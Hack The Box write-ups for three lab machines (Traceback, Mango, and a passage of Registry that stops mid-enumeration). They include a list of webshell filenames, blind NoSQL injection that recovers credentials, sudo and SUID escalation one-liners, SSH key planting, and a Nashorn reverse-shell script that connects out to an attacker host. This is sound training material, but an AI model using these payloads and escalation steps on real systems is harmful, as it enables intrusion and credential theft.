CTF – HTB – Traceback

Hello everyone and welcome back to yet another HTB writeup.

Our initial nmap scan reveals only an ssh and webserver open.

root@kali:~/Desktop/htb/Traceback# nmap -sC -sV 10.10.10.181 -p 1-65535 -o TCP_full_scan                                                                 [1/1]
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-12 20:46 EDT
Nmap scan report for 10.10.10.181
Host is up (0.036s latency). 
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION                                                                                                                                  
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                                                                 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA) 
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)  
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us                                                          
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
                                                                                                                                                              
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.48 seconds

On the website we find an interesting comment in the source :

<body>
    <center>
        <h1>This site has been owned</h1>
        <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
        <h3> - Xh4H - </h3>
        <!--Some of the best web shells that you might need ;)-->
    </center>
</body>

Dirbusting for files and folders with seclists then fuzzing to find virtual hosts gives no result.

root@kali:~/Desktop/htb/Traceback# wfuzz -H "Host: FUZZ.traceback.htb" -u "http://traceback.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hw 151
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: http://traceback.htb/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     422 Ch      "gc._msdcs"                                                                                  

Total time: 48.01821
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 104.0646

We consider the hint previously given and build a list of webshells that we are going to bruteforce on the box, revealing /smevk.php.

root@kali:~/Desktop/htb/Traceback# cat wordlist 
1n73ction.php            
52.php         
OsComPayLoad.php
c99.php
cgi      
cgipro1.php
cgiproffesional.php
indoxploit
k2
marion001
pak.php
r57.php
shell4sym.php
smtp.php
up.txt
upluad.php
wso
alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

We stumble upon a login page and directly get in with admin:admin, and we have full webshell. We proceed to upload a php reverse shell and obtain a shell as webadmin.

root@kali:~/Desktop/htb/Traceback# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.181.
Ncat: Connection from 10.10.10.181:56150.
Linux traceback 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 21:21:43 up  1:26,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(webadmin) gid=1000(webadmin) groups=1000(webadmin),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)
/bin/sh: 0: can't access tty; job control turned off

We quickly find a way to pivot as sysadmin, as well as an interesting note.

$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit
$ cd /home/webadmin
$ ls -la
total 48
drwxr-x--- 5 webadmin sysadmin 4096 Apr 15 20:18 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin  449 Apr 15 20:51 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Apr 15 20:16 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt
$ cat note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
$

Since we can run a lua script with sysadmin privileges, we proceed to create a lua file and run it as sysadmin.

$ echo -n "os.execute('/bin/sh')" > privesc.lua
$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua
sh: turning off NDELAY mode
id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)

We then proceed to add our ssh public key to the sysadmin authorized_keys to obtain a full interactive shell; in our attacker machine :

root@kali:~/Desktop/htb/Traceback# ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): key
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in key.
Your public key has been saved in key.pub.
The key fingerprint is:
SHA256:mXCRn4D967VXQglQu7bEyfVgdJ8PRGHmaoEJQBA8q7E root@kali
The key's randomart image is:
+---[RSA 4096]----+
|   .o+o+o..o..B..|
|    o . +o o.B .o|
|     o. .+o.o.*o.|
|  . .  o o+o Bo+.|
|   +    S  .X.  o|
|  E       .+... .|
|         . ... o |
|          . . .  |
|             .   |
+----[SHA256]-----+
root@kali:~/Desktop/htb/Traceback#

In our victim machine :

pwd
/home/sysadmin
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpdSnm22bs8CSg8fHuOWhyDn56TAR+BV9DUZaKUyWT2DtPEzfuKgXcGd65IXZLl/fN0e7El0uVr9QiwIqkzTWOGQfFY0gO9OSTGpLEh4jP4caG24H0sPUY5cp6SCwveGWSxnBBa2I2IBjEzHE0ML0pVWA5U3Qw7N8gT24CskklfFm8oaZ2ZVCDpDRZ9Ow+NjDkVRMJLfPIRqsYVaKaiGMNeCBIIoN3OqTWqapx89S2oAbwfKOz9zEMq+Gzx9ibJDy+FYGPGiblZ5eKfdiI4jPrfQFpsex2D7VcLjtOme7FeFzo+22QuUIEuHo1Qg2siVwWkLDJCN+b7mUA1nm/k2/qOetiYuGCnj5mNv9BEht4sADGI4XRSwrHTHIQYiz7dZuw5bKmdxUVapsV/WiShCpIKbsFeaQenploOlgsK7qjknHYwkUUY7/4Y10cM5+1zlV4Vubl/dRAEHeufeXcEuXapKw6kFLDawRIhzFI8Mui3R2RfnyorPHWvyrT4Futztpg9JnWrr6+U73475C8mXZZaZSTizWrySgcRPFL6sW+JfTkn6xmSL7ss3KOBCdc0Z7as5WB5xizl1yf9TxFYuNu8BNcG9YOfJUI1OJHW0mwz8PgB6RLqtXeS5ZR5PXVwONhFX39nkz7OrCEgpsG0J9jST03M820k/YorWNeOeAw5Q== root@kali" >> ./.ssh/authorized_keys

We login as sysadmin with ssh and proceed to enumerate the machine, we quickly find this process running :

root@kali:~/Desktop/htb/Traceback# ssh -i key sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Mar 16 03:50:24 2020 from 10.10.14.2
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin)
$ ps aux

[...snip...]

root       3979  0.0  0.0  58792  3180 ?        S    21:32   0:00 /usr/sbin/CRON -f
root       3982  0.0  0.0   4628   860 ?        Ss   21:32   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
root       3984  0.0  0.0   7468   772 ?        S    21:32   0:00 sleep 30

[..snip...]

Theres a program copying the root MOTD files to another folder. According to ubuntu man pages :

UNIX/Linux system adminstrators often communicate important information to console and
remote users by maintaining text in the file /etc/motd, which is displayed by the
pam_motd(8) module on interactive shell logins.

Luckily, /etc/update-motd.d/ is writeable by sysadmin. However we have a 30 seconds window before our files are squashed by the /var/backups/.update-motd.d/ files.

sysadmin@traceback:/etc/update-motd.d$ ls -la
total 32
drwxr-xr-x  2 root sysadmin 4096 Aug 27  2019 .
drwxr-xr-x 80 root root     4096 Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 Apr 15 21:50 00-header
-rwxrwxr-x  1 root sysadmin  982 Apr 15 21:50 10-help-text
-rwxrwxr-x  1 root sysadmin 4264 Apr 15 21:50 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 Apr 15 21:50 80-esm
-rwxrwxr-x  1 root sysadmin  299 Apr 15 21:50 91-release-upgrade
sysadmin@traceback:/etc/update-motd.d$ cat 00-header
#!/bin/sh
#

[..snip...]

[ -r /etc/lsb-release ] && . /etc/lsb-release

We simply add a command in the 00-header file to call our php-reverse-shell.php and have less than 30 seconds to login as ssh to obtain our command executed and get root user on our listener!

And again, thanks for reading!

CTF – HTB – Mango

Hey everyone and welcome to another write up for a HTB challenge!

We start with the usual nmap scan and reveal port 22, 80 and 443. We then add staging-order.mango.htb to /etc/hosts.

root@kali:~/Desktop/htb/Mango# nmap -sC -sV mango.htb -o TCP_scan
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-03 16:45 EDT
Nmap scan report for mango.htb (10.10.10.162)
Host is up (0.050s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open  ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.60 seconds

On port 80 we have a website called mango that is a copy-cat of a google webpage. The analytics.php link reveals a client-service called flexmonster that is used to display charts and graphics. We explore it a bit but since it is only a client-side service so we don’t need to investigate further. We have the same pages on port 443.

Since we know we already have one subdomain we try to list other existing subdomains with wfuzz by changing the header Host value to any subdomain (fuzzing host virtual routing). We do not find any other subdomain.

root@kali:~/Desktop/htb/Mango# wfuzz -H "Host: FUZZ.mango.htb" -u "https://10.10.10.162" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 
--hw 514
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.162/
Total requests: 4997

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                      
===================================================================

000000690:   400        12 L     53 W     443 Ch      "gc._msdcs"                                                                                  

Total time: 58.40617
Processed Requests: 4997
Filtered Requests: 4996
Requests/sec.: 85.55602

The subdomain staging-order.mango.htb gives us a login page. Bruteforcing directory and php files listing we find /home.php as well as a folder called /vendor. By accessing /vendor/composer/installed.json we can view the installed packages on the backend.

[
    {
        "name": "alcaeus/mongo-php-adapter",
        "version": "1.1.9",
        "version_normalized": "1.1.9.0",
        "source": {
            "type": "git",
            "url": "https://github.com/alcaeus/mongo-php-adapter.git",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/alcaeus/mongo-php-adapter/zipball/93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "shasum": ""
        },
        "require": {
            "ext-ctype": "*",
            "ext-hash": "*",
            "ext-mongodb": "^1.2.0",
            "mongodb/mongodb": "^1.0.1",
            "php": "^5.6 || ^7.0"
        },
        "provide": {
            "ext-mongo": "1.6.14"
        },
        "require-dev": {
            "phpunit/phpunit": "^5.7.27 || ^6.0 || ^7.0",
            "squizlabs/php_codesniffer": "^3.2"
        },
        "time": "2019-08-07T05:52:28+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-0": {
                "Mongo": "lib/Mongo"
            },
            "psr-4": {
                "Alcaeus\\MongoDbAdapter\\": "lib/Alcaeus/MongoDbAdapter"
            },
            "files": [
                "lib/Mongo/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "alcaeus",
                "email": "alcaeus@alcaeus.org"
            },
            {
                "name": "Olivier Lechevalier",
                "email": "olivier.lechevalier@gmail.com"
            }
        ],
        "description": "Adapter to provide ext-mongo interface on top of mongo-php-libary",
        "keywords": [
            "database",
            "mongodb"
        ]
    },
    {
        "name": "mongodb/mongodb",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url": "https://github.com/mongodb/mongo-php-library.git",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/mongodb/mongo-php-library/zipball/5cffeb33b893b6bb04195b99ddc3955a29252339",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "shasum": ""
        },
        "require": {
            "ext-hash": "*",
            "ext-json": "*",
            "ext-mongodb": "^1.3.0",
            "php": ">=5.5"
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8"
        },
        "time": "2017-10-27T19:42:57+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "MongoDB\\": "src/"
            },
            "files": [
                "src/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "Apache-2.0"
        ],
        "authors": [
            {
                "name": "Jeremy Mikola",
                "email": "jmikola@gmail.com"
            },
            {
                "name": "Hannes Magnusson",
                "email": "bjori@mongodb.com"
            },
            {
                "name": "Derick Rethans",
                "email": "github@derickrethans.nl"
            }
        ],
        "description": "MongoDB driver library",
        "homepage": "https://jira.mongodb.org/browse/PHPLIB",
        "keywords": [
            "database",
            "driver",
            "mongodb",
            "persistence"
        ]
    }
]

Now that we know we have MongoDB running in the background, we can try a noSQL injection, since it is our only possible attack vector left. Using burp repeater we find that we can extract DB information by pointing our POST request to /home.php.

We then proceed to enumerate users and passwords with a blind noSQL injections, luckily there is a script already available online to run these with our selected parameters.

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "username"                                                                                                   
No pattern starts with '0'                                                                                                                                    
No pattern starts with '1'
No pattern starts with '2'
No pattern starts with '3'
No pattern starts with '4'
No pattern starts with '5'
No pattern starts with '6'
No pattern starts with '7'
No pattern starts with '8'
No pattern starts with '9'
Pattern found that starts with 'a'
Pattern found: ad         
Pattern found: adm        
Pattern found: admi       
Pattern found: admin      
username found: admin            
No pattern starts with 'b'
No pattern starts with 'c'

[...snip...]

No pattern starts with 'j'                                                                                                                                    
No pattern starts with 'k'                                                                                                                                    
No pattern starts with 'l'                                                                                                                                    
Pattern found that starts with 'm'                                                                                                                            
Pattern found: ma         
Pattern found: man        
Pattern found: mang       
Pattern found: mango      
username found: mango     
No pattern starts with 'n'
No pattern starts with 'o'
No pattern starts with 'p'
No pattern starts with 'q'
No pattern starts with 'r'     

[...snip...]

o pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '
'
'o pattern starts with '
No pattern starts with '
                        '
No pattern starts with '
                        '

2 username(s) found:
admin
mango

We do the same for the password parameter :

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "password"                    
No pattern starts with '0'
No pattern starts with '1' 

[...snip...]

o pattern starts with 'e'
No pattern starts with 'f'
No pattern starts with 'g'
Pattern found that starts with 'h'
Pattern found: h3                      
Pattern found: h3m                                                                                                                                            
Pattern found: h3mX
Pattern found: h3mXK
Pattern found: h3mXK8
Pattern found: h3mXK8R
Pattern found: h3mXK8Rh
Pattern found: h3mXK8RhU
Pattern found: h3mXK8RhU~
Pattern found: h3mXK8RhU~f
Pattern found: h3mXK8RhU~f{
Pattern found: h3mXK8RhU~f{]
Pattern found: h3mXK8RhU~f{]f
Pattern found: h3mXK8RhU~f{]f5
Pattern found: h3mXK8RhU~f{]f5H
password found: h3mXK8RhU~f{]f5H
No pattern starts with 'i'
No pattern starts with 'j'
No pattern starts with 'k'

[...snip...]

o pattern starts with 'r'
No pattern starts with 's'
Pattern found that starts with 't'
Pattern found: t9
Pattern found: t9K
Pattern found: t9Kc
Pattern found: t9KcS
Pattern found: t9KcS3
Pattern found: t9KcS3>
Pattern found: t9KcS3>!
Pattern found: t9KcS3>!0
Pattern found: t9KcS3>!0B
Pattern found: t9KcS3>!0B#
Pattern found: t9KcS3>!0B#2
password found: t9KcS3>!0B#2
No pattern starts with 'u'
No pattern starts with 'v'

[...snip...]

No pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '  
'                         
'o pattern starts with '  
No pattern starts with '   
                        '   
No pattern starts with '  
                        ' 
                                       
2 password(s) found:      
h3mXK8RhU~f{]f5H          
t9KcS3>!0B#2

We now have 2 users and 2 passwords. We successfully connect with ssh in mango user using the first password.

root@kali:~/Desktop/htb/Mango# ssh mango@mango.htb
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr  9 06:17:58 UTC 2020

  System load:  0.03               Processes:            141
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 14%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  9 05:50:13 2020 from 10.10.16.146
mango@mango:~$

We quickly pivot to admin user with the sucommand and the second password.

mango@mango:~$ su admin
Password: 
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/mango$ cd /home/admin
admin@mango:/home/admin$ cat user.txt 
79bf31c6c6eb38a8567832f7f8b47e92
admin@mango:/home/admin$

Now that we have the main user of this box we upload and run LinEnum.sh into the box so we can have a quick report on possible privilege escalation vectors, and we find an SUID binary!

[...snip...]

[+] Possibly interesting SUID files:                                                                                                                          
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs 

[...snip...]

According to Oracle Help Center :

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

Also we find this binary in gtfobins :

It can be used to break out from restricted environments by spawning an interactive system shell.

Since we can spawn a shell and it has a sticky bit, we can abuse it to obtain a shell with root privileges.

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

We manage to spawn a shell, however it hangs, we can’t type anything in the console, it seems that the process is created but our connection is tied with jjs tty, we can’t run any command. Also we have $ instead of # in our command prompt, meaning we didn’t get a root shell.

Instead we create a reverse shell, luckily we have netcat on the victims box as well as gcc if needed (recompile nc with -e flag). Also, we can’t run sudo as admin. So there’s no way here to augment our privileges by piping our Java commands into sudo jjs.

echo 'var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs

We were able to obtain a shell but we are still admin user. The solution here is simply to use the -p flag with /bin/sh so we can start the shell with the privileged user we wanted, it only works if we have that sticky bit for user or group set. According to the manual of sh :

-p privileged
Turn on privileged mode. This mode is enabled on startup if either the effective user or group ID is not equal to the real user or group ID. Turning this mode off sets the effective user and group IDs to the real user and group IDs. When this mode is enabled for interactive shells, the file / etc / suid_profile is sourced instead of ~ / .profile after / etc / profile is sourced, and the contents of the ENV variable are ignored.

We modify the Java code accordingly and run on the victim’s machine :

var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/sh", "-pc", "/bin/sh -p").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On our attacker machine :

root@kali:~/Desktop/htb/Mango# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.162.
Ncat: Connection from 10.10.10.162:47122.
id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
cat /root/root.txt
8a8ef79a7a2fbb01ea81688424e9ab15
exit

As you can see, we are still admin user, however, our euid (Effective User ID) is that of root!

To summarize, we find a login page in a subdomain that is vulnerable to a noSQL injection. We use this to exfiltrate users and passwords from the DB. Luckily, the passwords where re-used in the machine so we could login as mango user using ssh with the first password and pivot to admin user with the second password. We then find an SUID binary (jjs) that we successfully exploit to obtain euid=0(root) in the victims machine.

Thanks for reading!

CTF – HTB – Registry

Hello everyone and welcome to another CTF writeup!

We do the usual with our nmap scan and reveal port 22, 80 and 443. Port 443 reveals a subdomain for docker, so we might have a docker registry HTTP API running!

root@kali:~/Desktop/htb/Registry# nmap -sC -sV -o TCP_scan 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-15 18:54 EST
Nmap scan report for registry.htb (10.10.10.159)
Host is up (0.020s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp  open  http     nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after:  2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.71 seconds

We run a dirbuster for both ports 80 and 443 and we find 2 directories and a file, /install, /bolt and /backup.php.

root@kali:~/Desktop/htb/Registry# cat DirBusterReport-10.10.10.159-80.txt
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Sun Oct 20 15:08:18 EDT 2019
--------------------------------

http://10.10.10.159:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/install/
/bolt/

--------------------------------
Files found during testing:

Files found with a 200 responce:

/backup.php

--------------------------------

The php file /backup display’s nothing, we keep this in note so that we can explore it later when we are going to have access to the machine. /bolt folder contains a simple CMS and searchsploit does reveal some exploits but we continue exploring the box. The /install folder reveals only gibberish, we curl this raw data to analyze it :

root@kali:~/Desktop/htb/Registry# curl 10.10.10.159/install -L
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.

The data reveals to be a gzip file, containing a ca.crt and a readme.md file giving us hints :

root@kali:~/Desktop/htb/Registry# curl 10.10.10.159/install -L --output install_output
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
Dload  Upload   Total   Spent    Left  Speed
100   194  100   194    0     0   5388      0 --:--:-- --:--:-- --:--:--  5388
100  1050    0  1050    0     0   7094      0 --:--:-- --:--:-- --:--:--  7094
root@kali:~/Desktop/htb/Registry# file install_output
install_output: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200
root@kali:~/Desktop/htb/Registry# mv install_output install.gzip
root@kali:~/Desktop/htb/Registry# zcat output_install.gz
ca.crt0000775000004100000410000000210613464123607012215 0ustar  www-datawww-data-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
readme.md0000775000004100000410000000020113472260460012667 0ustar  www-datawww-data# Private Docker Registry

- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/

gzip: output_install.gz: unexpected end of file
root@kali:~/Desktop/htb/Registry#

Continuing our exploration, we try to find more subdomains but without success :

wfuzz -H "Host : FUZZ.registry.htb" -u http://registry.htb/ -w /usr/share/dnsenum/dns.txt --hw 69

We proceed to docker.registry.htb/v2 to find out a 401 page, credentials admin:admin let us in, which is quite simple there. We can proceed to list all the images in the registry by visiting /v2/_catalog endpoint and download each blob so we can analyze that image locally.

root@kali:~/Desktop/htb/Registry# curl --user admin:admin docker.registry.htb/v2/_catalog
{"repositories":["bolt-image"]}

To verify which reference we have for this image :

